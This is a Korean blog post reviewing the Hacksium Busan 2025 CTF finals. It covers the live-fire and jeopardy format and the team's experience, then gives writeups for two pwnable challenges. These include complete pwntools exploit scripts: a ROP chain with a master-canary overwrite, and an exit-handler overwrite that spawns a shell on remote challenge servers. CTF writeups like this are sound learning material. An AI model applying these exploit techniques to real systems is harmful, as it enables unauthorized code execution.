[Hacksium Busan 2025] 본선 후기 & WriteUp

chk_pass·2025년 7월 18일

이번에 처음 열리는 대회라 정보가 많이 없어 한 번 후기글을 작성해보기로 했다.

문제 라업은 가장 밑에 적어놓았다.

2박 3일 간 열리는 대회였지만 첫날은 오리엔테이션 같은거만 해서 사실상 대회는 1박 2일이었고, 첫날은 7시간(10:00~17:00), 둘 째 날은 4시간(10:00~14:00)으로 실질적으로 ctf 자체가 운영되는 시간은 총 11시간에 불과했다.



진행방식

대회는 live-fire와 jeopardy가 동시에 진행되는 방식이었다.

대회 기간 내내 동일한 서버에 대해 live-fire가 진행되고 그와 동시에 jeopardy도 함께 진행되었다. jeopardy의 경우 첫번째 날과 두번째 날의 문제가 달랐다.

live-fire는 총 2000점이 주어지고, 15분마다 한 라운드이며 라운드가 지날때마다 공격이 이루어져 취약점 당 10점, 최대 40점이 감점되는 형식이었다. (SLA에서 걸리면 무조건 40점이 감점이다)

7시간 중 1시간이 점심시간이라 live-fire의 라운드가 이루어지는 시간은 총 6시간이었고, 한 라운드가 15분인 걸 고려하면 총 24라운드가 존재하는 셈이다. 그러면 최대 감점은 960점일 것이다.

둘째날 까지 고려해도 +3시간이고, 그럼 12라운드가 추가로 있는거니까 추가로 480점 감점, 이틀에 걸친 최대 감점이 1440점이다.

960점이면 어려운 문제 하나, 쉬운 문제 3개정도에 해당하는 분량이고, 아예 live-fire를 포기하면 감점되는 점수가 1440점이니까 지금 와서 생각해보면 live-fire의 비중이 생각보다 크지 않은 것 같다.


live-fire

우리는 일단 첫 라운드는 전원이 같이 live-fire를 보고, 그 이후에 유동적으로 인원 대비 효율이 안 나는 상황에서는 일부 인원은 jeopardy로 전환하기로 했다. 일단 가장 이상적인 상황은 빠른 시간 내에 모든 취약점을 패치하고 모두가 jeopardy로 옮기는 것이었다. 실전에서 예상대로 흘러가지 않을 것이 뻔해서 몇 가지 행동원칙을 조금 세워서 갔다.

당연히 이상적으로 흘러가지는 않았다. 아무래도 우리팀은 전원이 live-fire가 처음이었고, 웹을 할 줄 아는 사람이 한 명이었는데 live-fire의 서버는 웹서버였다. 심지어 나는 전혀 접해보지도 않은 typescript 코드여서 나에게는 더더욱 힘들었다. 코드도 엄청 많았다. 정신없이 지피티랑 제미나이를 오가다보니까 한 시간이 흘러있었고, 우리는 4 라운드동안 꼬박꼬박 야무지게 40점이 까이고 있었다. 한 시간이나 썼는데도 나는 그닥 도움을 주지 못했고, 나는 진짜진짜 웹알못이라 내가 이걸 같이 봐봐야 도움이 절대 안된다 싶어서 두 분만 live-fire를 계속 보고 나머지 둘은 jeopardy문제를 풀기로 했다.

조금 더 덧붙이자면 이게 총 4가지의 취약점을 패치해야하는데 한 취약점군이 여러 개일수도 있다. 그러니까 만약에 서버에 존재하는 4가지 취약점 중 하나가 sqli라면 총 n개의 sqli를 패치해야 10점을 지키게 되는 것이다. 이게 한가지 취약점군이 몇 개인지조차 모르니까 좀.. 여러모로 침착을 유지하기가 힘들었다.(ㅋ)

그리고 워낙 정신이 없어 정확한 시점이 기억 나진 않지만 한참 문제를 푸는 도중 3개의 취약점이 제대로 패치되었다는 소식을 들었다. 모든 취약점을 패치한 팀이 많이 없기도 했고, 모든 취약점을 찾는 거보다 문제푸는게 더 나을 거라는 생각이 들어서 그냥 10점씩 계속 까이기로 하고 그 이후는 모든 팀원이 jeopardy를 본 것 같다. 둘 째 날에도 거기서 더 안 건드리고 그냥 냅뒀다.

내가 팀장이라 뭔가 잘 이끌었어야 했던 거 같은데 너무 정신이 없어서 그러지 못한 것 같아서 조금 아쉽다. 그래도 지금 와서 생각해보면 행동 원칙을 미리 세워서 그런지 우왕좌왕 하지 않고 자연스럽게 각자 자기 할일이 잘 분배된 상태로 진행이 된 것 같다. 그때는 그냥 눈앞에 보이는 걸 한거였지만 각자가 한 일이 가장 효율적인 방법이었다고 생각한다.


jeopardy

First day

jeopardy는 첫날의 경우 문제가 크게 스마트 선박과 스마트 제조라는 카테고리로 나뉘어 출제가 되었다.

이게 포너블, 웹, 리버싱, 포렌식 등의 분야가 태깅되어있지 않고, 단순히 스마트선박, 스마트제조로만 구분이 되어있었다. 그래도 주어진 서버의 접속 형태나, 파일 등을 가지고 쉽게 유추할 수 있었다. 그리고 문제가 선박에서 세 문제, 제조에서 열문제 이상(정확히 기억 안남)이라서 생각보다 문제가 많았다. 문제 풀 시간이 7시간밖에 없고(심지어 그 안에 점심도 먹어야 함), 그 와중에 live fire도 해야 하며 팀원이 최대 4명이라는 점을 고려하면 문제가 좀 많아서 아예 건드려보지 못한 문제도 많이 나온 것 같다. 여담이지만 5시 땡 하자마자 얄짤 없이 모든 사이트를 닫아서 문제 다운로드는 커녕 스코어보드도 볼 수가 없었다.. 그래서 정확한 문제 정보나 개수같은 것은 잘 모르겠다.

일단 난 포너블 문제 2개를 풀었다.

둘 다 솔버가 많은 편이었고 11솔 정도였다. (제일 많은건 웹인듯 미스크인듯 한 문제였음. 2n솔 정도 였고 내가 안 풀어서 정확한 건 모르겠음)

그렇게 어려운 난이도는 아니었다. 라업은 가장 밑에 적어놓았다.

첫날은 어쨋든 총 3문제를 풀고, 어느 시점엔가 3개의 취약점을 패치한 상태로 마무리했다.

첫날 종료 후에 몇 등이었는지는 못 봤다. 아마 1n등이었던 것 같다.

Second day

두 번째 날에는 첫 날과 아예 다른 문제들이 나왔다. 이 날도 정확하게 기억은 안 나는데 첫날이랑 카테고리는 똑같았고, 각 카테고리 당 세 문제씩 해서 총 6문제 정도가 있었다. 주어진 시간은 점심시간 포함 4시간이었다.

그 중에 포너블 문제는 하나밖에 없었는데, 난이도가 높은 편이었던 거 같다. 나는 끝나기 30분 전까지 계속 그 문제만 잡았는데 마지막에 보니까 끝까지 0솔이었다. 어쩌면 포기하고 다른 걸 보는 게 더 나았을 수도 있었겠다 싶다.

일단 문제 바이너리가 c++이었는데 나는 c++ 을 잘 못해서 좀 힘들었다. 항상 해야지 해야지 하고 안했는데.. 이제 진짜로 공부해야겠다.

바이너리를 실행하면 바이너리가 소켓으로 입력을 받고, 그 입력에 따라 여러 기능을 처리하는 형태였다. ADMIN 기능을 실행해 systeminfo 기능을 실행하면 메모리 매핑 정보를 출력해주기 때문에 바이너리 매핑주소나 힙 주소, libc 주소등을 얻을 수 있는 것 까지는 파악을 했는데 익스를 어떻게 해야할지는 알아낼 수 없었다. 아무래도 c++이라 입력 처리할 때 다 동적할당으로 처리를 해서 일반적인 메모리커럽션은 절대 아닐거같고.. 힙을 이용해서 풀어야 할 것 같았다. 근데 첫 날 문제 중 힙문제랑 똑같이 얘도 디버깅할 때 libc 심볼이 안잡혀서 힙 플러그인을 못 썼다. c++에 힙 관련인데 플러그인도 못쓰면.. 아마 시간이 많았어도 풀기 어렵지 않았을까 싶다. 전혀 다른 취약점일수도 있겠지만..

어쨌든 c++을 공부하자, 우분투 버전을 업그레이드하자 라는 교훈을 얻었다



끝나기 30분전쯤에 보니까 내가 잡은 포너블은 0솔이고 apk가 주어지는 어플리케이션 문제가 조금 솔버가 있어서 팀원들이랑 다같이 그 문제에 붙었다. 그런데 아무래도 시간이 부족해서 결국 풀진 못했다.

결론적으로는 두 번째 날에는 나는 한 문제도 못 풀었다. 그래도 팀원이 문제 3개 정도를 추가적으로 풀어서 최종 11등으로 마무리를 했다.

오프라인 대회 참가는 처음이었기 떄문에 만족스러운 결과이다. 그리고, 오프라인 대회를 경험해보았다는 점이 가장 의미 있었다. 한동안 CTF에 좀 소홀했었는데 이번 기회로 또 CTF도 다시 열심히 해야겠다는 생각이 들었다.

앞으로도 공부를 더더 열심히 해야겠다!!



WRITEUP

1. 스마트제조-산업장비업데이트시스템

일단 이 문제는 간단하게 bof로 해결할 수 있는 문제였다.

하지만 직접 페이로드를 잘 구성해주어야 bof가 터지고, canary가 걸려있어 이를 우회해야 한다.

바이너리를 실행하면 아래와 같이 여러 옵션이 존재하는데 일단 bof는 1번인 업로드에서 터지고 다른 함수는 아예 보지도 않아서 다른 취약점이 있는지는 잘 모르겠다.

	  puts("== Firmware Updater Menu ==");
    puts("1. Upload Firmware");
    puts("2. Show Metadata");
    puts("3. Apply Firmware");
    puts("4. Clear Firmware");
    puts("5. Exit");
    printf("> ");

업로드 함수 내부의 핵심 부분은 아래와 같다.

  memset(buf, 0, 0x1020uLL);
  printf("[+] Enter data: ");
  read(0, buf, 0x10uLL);
  v1 = *(_WORD *)&buf[14];
  v2 = *(_WORD *)&buf[12];
  if ( *(__int16 *)&buf[14] <= 0x1020 )
  {
    if ( *(_DWORD *)buf == 0x4743 )
    {
      read(0, &buf[16], 0x20uLL);
      v3 = v1 - v2 - 32;
      if ( v3 <= 0xFF0 )
      {
        read(0, &buf[v2 + 32], (unsigned __int16)v3);
        s = fopen("firmware.bin", "wb");
        fwrite(buf, 1uLL, 0x1020uLL, s);
        fclose(s);
        printf("[+] Firmware uploaded: %s (version: %d)\n", &buf[16], *(unsigned int *)&buf[4]);
      }
      else
      {

세번의 if문을 거쳐 read에 도달하면 세 번째 인자인 size가 v3인데, 이 값은 v1 - v2 - 32로 우리의 입력에 따라 결정될 수 있는 값이다. 하지만 직전에 v3 <= 0xFF0 라는 조건문으로 v3을 검증하고 있는데, v3는 signed인 2바이트 정수형이므로 음수로 만들면 이 조건문을 우회하면서 큰 값을 read하게 할 수 있다.

따라서 세 번째 if를 모두 통과하면서 v3이 음수가 되도록 페이로드를 잘 짜면, buf에다가 bof를 할 수가 있게 된다.

또한 canary의 경우에는 이 바이너리가 thread를 이용하고 메뉴출력 및 각 기능 실행 루틴이 새로운 스레드를 형성해 실행되고 있다는 점을 고려하면 master canary를 덮어 우회할 수 있다. 심지어 앞서 살펴본 bof에서 상당히 큰 값을 쓸 수 있었기 때문에 아마 이것이 의도된 익스 방식일 것이다.

나같은 경우에는 첫 번째 upload수행 시 printf_plt를 이용해서 (pie는 안걸려있음.. 감사합니다..) libc 주소를 leak하고 다시 upload함수로 리턴하는 rop 페이로드와 함께 한번에 마스터카나리까지 b”A”*8으로 덮어버렸다.

그리고 다시 upload함수가 실행되면서 동일하게 bof가 터지는데, libc_base를 구한 상태이므로 그냥 libc 가젯과 system주소, binsh주소를 직접 넣어서 rop체인을 구성해 system(”/bin/sh”)를 실행시켰다.

ex.py

from pwn import *

BINARY = "./prob"

HOST = "127.0.0.1"
HOST = "43.203.216.173"
PORT = 1337

context.log_level = 'debug'

#p = process(BINARY)
p = remote(HOST, PORT)

def upload_firmware(data, data2, payload):

    p.sendlineafter(b"> ", b"1") # '1. Upload Firmware' 선택
    p.sendafter(b"[+] Enter data: ", data)
    p.send(data2)
    p.send(payload)

got = 0x404F48
pause()

rop = p64(0x401250) #printf_plt
rop += p64(0x40187A) #return to upload
payload =  b"A"*8*2
payload +=rop
payload += p64(0)*((0x858-0x20)//8-2 - len(rop)//8 )+p64(0x405000+0x200)*5+b"A"*8

upload_firmware(p32( 0x4743 ) + b"\x00" * 8 + p16(0x1008 ) + p16( 0x1020 ), b"A"*0x20, payload)

#0x5f730

p.recvuntil(b" 0)\n")
libc_base = u64(p.recv(6)+b"\x00\x00") - 0x5f730
log.info(hex(libc_base))

#payload가 쓰이는 곳은 buf+0x1028 (rbp-0x8) 에다가 0xff??만큼 쓸 수 있다. 
#fs_base+0x28은 upload함수의 rbp+0x858

system =  0x58750
binsh = 0x1cb42f
poprdi = 0x10f75b
ret = poprdi + 1

payload2 =  b"A"*8*2
payload2 += p64(libc_base + poprdi) + p64(libc_base + binsh) +  p64(libc_base+ret) + p64(libc_base+system)
p.sendafter(b"[+] Enter data: ", p32( 0x4743 ) + b"\x00" * 8 + p16(0x1008 ) + p16( 0x1020 ))
p.send(b"A"*0x20)
p.send(payload2)

p.interactive()
#busanit2025{14d7554080339cec2c9a8e0d3c0d5e9f7bf90422655d24b3e57e4e4a19ea1bb965ebbb5f84457df34b1cab0c2f862f03a094839bbe7ab7e5bd52375bfd26e1f1875f15}



2. 스마트선박-선박 CCTV 시스템

이 문제는 libc 심볼이 안 잡혀서 너무 힘들게 풀었다…. 힙관련 툴도 하나도 못 쓰고 initial 주소도 노가다로 구해서 너무너무 힘들었다 진짜ㅠ

libc base구하고 aaw를 터뜨리는거 까지는 얼마 안걸렸는데 오프셋 구하느라 aaw하고도 한 시간인가 뒤에나 문제를 풀었다. 좀 시간을 너무 허비해서 아쉬웠다.

일단 이 문제는 실행하면 아래와 같은 세 가지의 옵션이 있다.

== NVR Control Utility ==
1. Sign Up
2. Login
3. Exit

signup에서 계정을 생성할 수 있고, login으로 login을 하면 된다.

일단 signup을 하면 id와 pw를 입력받고 이를 fprintf(stream, "%s:%s:%d\n", id, pwd, 0LL); 의 형태로 accounts.db라는 파일에 쓴다.

그리고 login에서는 내가 id와 pw를 입력하면 accounts.db를 읽어들여서 그 중에서 내가 입력한 id와 pw와 일치하는 정보가 있을 경우에만 id_dest, dword_50A0라는 전역변수에 각각 id와 uid같은 느낌의 v1을 저장하고 sub_1F24()라는 로그인 이후의 기능을 수행하는 함수를 실행한다.

v3 = __isoc99_sscanf(v9, "%31[^:]:%31[^:]:%d[^\n]", s1, v8, &v1);
      if ( v3 == 3 && !strcmp(s1, id) && !strcmp(v8, pwd) )
      {
        strncpy(id_dest, id, 0x1FuLL);
        dword_50A0 = v1;
        v2 = 1;
        break;
      }
    }
    fclose(stream);
    if ( v2 )
      sub_1F24();

sub_1F24()에서는 아래와 같은 기능들이 존재한다.

1. Add Stream Entry
2. Show Config
3. Delete Entry
4. Edit Entry
5. Logout

그런데 그냥 계정을 생성하고 기능을 수행하려 하면 admin이 아니라면서 기능을 못 쓰게한다. admin인지 판단하는 여부는 아까 uid를 입력했던 dword_50A0라는 전역변수가 0인지를 확인한다. 0이 아니어야 기능을 이용할 수 있는데 이전에 signup에서 uid값은 무조건 0으로 하드코딩되어있다.

fprintf(stream, "%s:%s:%d\n", id, pwd, 0LL);

이는 pw를 애초에 "hi:1” 로 signup하고, login 시에는 pw에 hi만 입력하는 형태로 우회할 수 있다.


이제 admin이 되어 모든 기능을 이용할 수 있다.

일단 add는 아래와 같이 구성되어있다.

unsigned __int64 add()
{
  int idx; // [rsp+4h] [rbp-1Ch]
  char *malloc_ptr; // [rsp+8h] [rbp-18h]
  char s[8]; // [rsp+10h] [rbp-10h] BYREF
  unsigned __int64 v4; // [rsp+18h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  if ( (unsigned int)sub_1445() )
  {
    printf("[*] Index: ");
    fgets(s, 8, stdin);
    idx = atoi(s);
    if ( idx >= 0 && idx <= total_idx )
    {
      malloc_ptr = (char *)malloc(0x60uLL);
      if ( !malloc_ptr )
        exit(1);
      printf("[*] Stream name: ");
      fgets(malloc_ptr, 32, stdin);
      malloc_ptr[strcspn(malloc_ptr, "\n")] = 0;
      printf("[*] RTSP URL: ");
      fgets(malloc_ptr + 32, 64, stdin);
      ptr_list[idx] = malloc_ptr;
      ++total_idx;
      puts("[+] Entry added.");
    }
    else
    {
      puts("[-] Invalid index.");
    }
  }
  return v4 - __readfsqword(0x28u);
}

entry를 추가하면 0x60바이트의 동적할당을 하는데 그 반환된 힙 주소는 ptr_list라는 총 8개의 엔트리가 있는 QWORD 배열 전역변수에 직접 입력한 idx값으로 인덱싱해 저장한다. 그리고 할당 시마다 전역변수인 total_idx를 증가시킨다.

전역변수 구조를 살펴보면 아래와 같다.

ptr_list는 malloc의 반환값을 저장하는 배열이고, id_dest는 로그인할때 로그인한 id를 복사했던 전역변수, dword_50a0은 uid이며 그 다음으로 total_idx가 있는 구조이다.

그리고 이런 문제에서 흔히 보이는 기능들로, 각각 인덱스를 입력받아 해당 인덱스에 해당하는 힙 주소를 ptr_list에서 가져와 출력, edit, free하는 기능들이 존재한다.

그리고 uaf를 방지하기 위해서 free 시에는 해당 ptr_list 엔트리를 널로 초기화하는 루틴이 있다. 또한, 처음으로 edit하고나면 무조건 fgets로 입력을 받고 개행은 널로 바꾸기 때문에 해제한 청크를 재할당하고 그 값을 출력해 특정 값을 릭하는 것도 어렵다.

하지만 이 문제의 취약점은 total_idx를 관리하는 방식이 실제 ptr_list에 저장되는 값들을 잘 반영하지 못한다는 것에 있다. 일단 계속에서 인덱스 0에 add를 하게 되면 total_idx는 무한대로 증가할 수 있게 된다. (total_idx가 8을 넘어가는 지 등의 검증이 없다)

이후 show_config, edit이나 delete에서 idx를 입력받고 유효한지 검증하는 방식은 아래와 같다.

if ( idx >= 0 && idx < total_idx && ptr_list[idx] )

즉 idx가 0 이상이고 total_idx보다 작으며 ptr_list[idx] 가 널만 아니면 된다는 것이다. 그러면 계속 idx 0에 add를 해서 total_idx가 1000이 되게 하면 998, 999 인덱스 값에 대해서도 edit 등이 가능할 수도 있다. 그런데 ptr_list는 bss영역이므로 더 뒤로 가도 그닥 쓸모있는 부분이 있지는 않다.

하지만 바로 다음이 id_dest라는 것은 조금 이용할만하다.


def add_stream(index: int, name: bytes, rtsp_url: bytes):
    p.recvuntil(b'> ')
    p.sendline(b'1')  # Add Stream Entry

    p.recvuntil(b'[*] Index: ')
    p.sendline(str(index).encode())

    p.recvuntil(b'[*] Stream name: ')
    p.sendline(name)

    p.recvuntil(b'[*] RTSP URL: ')
    p.sendline(rtsp_url)

    p.recvuntil(b'[+] Entry added.')
    
for i in range(9):
    add_stream(i, b"", b"")

위와 같이 0부터 8까지의 인덱스에 대해 총 9번을 add하면 9번째 add시에는 동적할당 된 주소가 id_dest에 쓰여진다.

그리고 id_dest는 print_menu를 할때마다 항상 Wecome이라는 문구와 함께 출력되기 때문에 이 다음 턴에는 그 자리에 힙 주소가 출력된다. 즉 heap 주소를 leak할 수 있는 것이다.

그리고 id_dest를 이용할 수 있는 방법은 한 가지 더 있다.

애초에 맨 처음 가입을 할때 id를 내가 원하는 주소값으로 지정하면 로그인 시에 id_dest에 그 주소값이 들어가게 된다. 그리고 ptr_list[8]의 주소(==id_dest)가 덮여지지 않게 잘 조절하면서 add를 9번하면 total_idx가 9가 된 상태이기 때문에 id_dest에 쓰여진 주소값을 참조해 값을 출력하거나 edit하는 것이 가능해진다.

즉 로그인의 id값을 통해 aar과 aaw이 모두 가능한 것이다.

나는 이를 이용해 디버깅을 통해 힙에 libc관련 값이 쓰여진 것을 발견하고 이것을 aar로 릭하여 libc 주소를 구한 다음(힙 주소는 이미 구했으니까 가능), 추가적으로 두 번의 aaw를 수행하여 exit handler overwrite으로 익스를 했다.

최종 익스코드는 아래와 같다.

from pwn import * 

p = remote("54.180.254.97",31883)

context.log_level = 'debug'

register_and_login(b"hi", b"hi:1", b"hi")

#1. heap_base leak==================
for i in range(9):
    add_stream(i, b"", b"")

p.recvuntil(b"Welcome, ")
heap_base = u64(p.recv(6)+b"\x00\x00") >> 12
heap_addr = heap_base << 12
log.info(hex(heap_base))

for i in range(8):
    delete_entry(7-i)

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

#2. libc_base ====================
#id가 특정 주소가 되게 계정을 생성
register_and_login(p64(heap_addr+0x490), b"hi:1", b"hi")

for i in range(2):
    add_stream(0, b"", b"")
for i in range(7):
    add_stream(i+1, b"", b"")

    
show_config(8)
p.recvuntil(b"Name: ")
libc_base = u64(p.recv(6)+b"\x00\x00")-0x202228
log.info(hex(libc_base))

for i in range(7):
    delete_entry(6-i)

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

#3. fs_base+0x30 aaw ====================
register_and_login(p64(libc_base -0x2890), b"hi:1", b"hi")

for i in range(2):
    add_stream(0, b"", b"")
for i in range(7):
    add_stream(i+1, b"", b"")

system_offset = 0x58740
edit_entry(8, p64(0) ,p64(0))

for i in range(7):
    delete_entry(6-i)

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

#4. initial aaw =======================
initial_offset =  0x204fc0

register_and_login(p64(libc_base +initial_offset+0x10), b"hi:1", b"hi")
for i in range(2):
    add_stream(0, b"", b"")
for i in range(7):
    add_stream(i+1, b"", b"")

def rol(val, r_bits, width=64):
    return ((val << r_bits) | (val >> (width - r_bits))) & (2**width - 1)

system = rol(libc_base+system_offset, 0x11, 64)
binsh = 0x1cb42f

edit_entry(8, p64(4)+p64(system)+p64(libc_base+binsh),p64(0))
for i in range(7):
    delete_entry(6-i)

pause()

p.recvuntil(b'> ')
p.sendline(b'5')  # logout

p.recvuntil(b'> ')
p.sendline(b'3')  # exit

p.interactive()
#busanit2025{adb3f281db4ed78212216d3f400037770bd2960c9b3f2e32b19b3333e0767609fa8ae075198eab1045b1ec3dbc93a87d8968c19a86549d1fd43daa826ee25f}

0개의 댓글